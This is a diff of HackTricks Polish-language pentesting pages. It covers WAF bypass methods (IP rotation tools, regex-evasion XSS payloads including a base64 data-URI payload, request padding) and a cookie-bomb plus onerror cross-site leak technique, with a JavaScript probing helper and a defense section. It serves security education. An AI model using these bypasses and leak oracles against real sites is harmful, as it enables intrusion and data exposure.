URL API gateway do użycia z ffuf - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Podobne do fireprox -- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Wtyczka Burp Suite, która używa IP bramy API -- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Dynamicznie określona liczba instancji kontenerów jest aktywowana w zależności od rozmiaru pliku wejściowego i czynnika podziału, przy czym dane wejściowe są dzielone na kawałki do równoległego wykonania, na przykład 100 instancji przetwarzających 100 kawałków z pliku wejściowego o długości 10 000 linii z czynnikiem podziału 100 linii. +- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Wtyczka Burp Suite wykorzystująca IP z API gateway +- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Dynamicznie określana liczba instancji kontenerów jest aktywowana na podstawie wielkości pliku wejściowego i współczynnika podziału; wejście jest dzielone na kawałki do równoległego przetwarzania — np. 100 instancji przetwarzających 100 kawałków z pliku wejściowego o 10 000 liniach przy współczynniku podziału 100 linii. - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) -### Obejścia Regex +### Regex Bypasses -Różne techniki mogą być używane do obejścia filtrów regex na zaporach. Przykłady obejmują naprzemienną wielkość liter, dodawanie łamań linii i kodowanie ładunków. Zasoby dotyczące różnych obejść można znaleźć na [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) oraz [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Poniższe przykłady zostały zaczerpnięte z [tego artykułu](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2). +Różne techniki mogą być użyte do ominięcia filtrów regex na firewallach. Przykłady obejmują zmienianie wielkości liter, dodawanie łamań linii oraz kodowanie payloadów. Zasoby dotyczące różnych bypassów znajdują się w [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) i [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Przykłady poniżej pochodzą z [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2). ```bash #changing the case of the tag < #prepending an additional "<" @@ -219,15 +220,15 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri ``` ## Narzędzia -- [**nowafpls**](https://github.com/assetnote/nowafpls): Wtyczka Burp do dodawania niepotrzebnych danych do żądań w celu obejścia WAF-ów przez długość +- [**nowafpls**](https://github.com/assetnote/nowafpls): Wtyczka Burp dodająca śmieciowe dane do żądań w celu ominięcia WAFs przez długość -## Odniesienia +## Referencje - [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) - [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g) - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) -- [Jak znalazłem 0-Click przejęcie konta w publicznym BBP i wykorzystałem to do uzyskania dostępu do funkcji na poziomie administratora](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) +- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md b/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md index 6d6d320d6..eda61ad5f 100644 --- a/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md +++ b/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md @@ -2,7 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -Poniższy **skrypt** pochodzi z [**tutaj**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) i wykorzystuje funkcjonalność, która pozwala użytkownikowi na **wstawienie dowolnej liczby ciasteczek**, a następnie ładowanie pliku jako skryptu, wiedząc, że prawdziwa odpowiedź będzie większa niż fałszywa. Jeśli operacja zakończy się sukcesem, odpowiedź to przekierowanie z wynikiem URL dłuższym, **zbyt dużym, aby serwer mógł go obsłużyć, więc zwraca kod statusu błędu http**. Jeśli wyszukiwanie się nie powiedzie, nic się nie stanie, ponieważ URL jest krótki. +Ta technika łączy: +- Cookie bombing: zapełnienie przeglądarki ofiary wieloma/dużymi cookies dla docelowego origin, tak aby kolejne żądania osiągały limity serwera/żądania (request header size, URL size in redirects, etc.). +- Error-event oracle: sondowanie cross-origin endpointu przy użyciu ``` +Dlaczego popup (window.open)? +- Nowoczesne przeglądarki coraz częściej blokują third-party cookies. Otwarcie top-level window do target powoduje, że cookies są first-party, więc odpowiedzi Set-Cookie od target zostaną zachowane, co umożliwia krok cookie-bomb nawet przy ograniczeniach third-party cookies. + +Ogólny pomocnik sondowania +Jeśli masz już sposób na ustawienie wielu cookies na target origin (first-party), możesz ponownie użyć tego minimalnego oracle wobec dowolnego endpointu, którego powodzenie/niepowodzenie prowadzi do różnych rezultatów sieciowych (status/MIME/redirect): +```js +function probeError(url) { +return new Promise((resolve) => { +const s = document.createElement('script'); +s.src = url; +s.onload = () => resolve(false); // loaded successfully +s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked) +document.head.appendChild(s); +}); +} +``` +Wskazówki jak zbudować oracle +- Wymuś, aby stan „pozytywny” był cięższy: dołącz dodatkowe przekierowanie tylko wtedy, gdy warunek jest prawdziwy, lub spraw, by URL przekierowania odzwierciedlał nieograniczone dane wprowadzone przez użytkownika, tak aby rósł wraz ze zgadywanym prefiksem. +- Zwiększ rozmiar nagłówków: powtarzaj cookie bombing, aż na „ciężkiej” ścieżce zaobserwujesz spójny błąd. Serwery często ograniczają rozmiar nagłówków i zawiodą wcześniej, gdy obecnych jest wiele cookies. +- Stabilizuj: uruchom wiele równoległych operacji ustawiania cookies i sonduj wielokrotnie, aby uśrednić szumy związane z opóźnieniami i pamięcią podręczną. + +Powiązane XS-Search tricks +- URL length based oracles (no cookies needed) można łączyć lub stosować zamiast nich, gdy możesz wymusić bardzo długi cel żądania: + +{{#ref}} +url-max-length-client-side.md +{{#endref}} + +Obrona i utwardzanie +- Spraw, aby odpowiedzi w przypadku sukcesu i porażki były nierozróżnialne: +- Unikaj warunkowych przekierowań lub dużych różnic w rozmiarze odpowiedzi między stanami. Zwracaj ten sam status, ten sam Content-Type i podobną długość treści niezależnie od stanu. +- Zablokuj sondowanie subresource cross-site: +- SameSite cookies: ustaw wrażliwe cookies na SameSite=Lax lub Strict, tak aby żądania subresource takie jak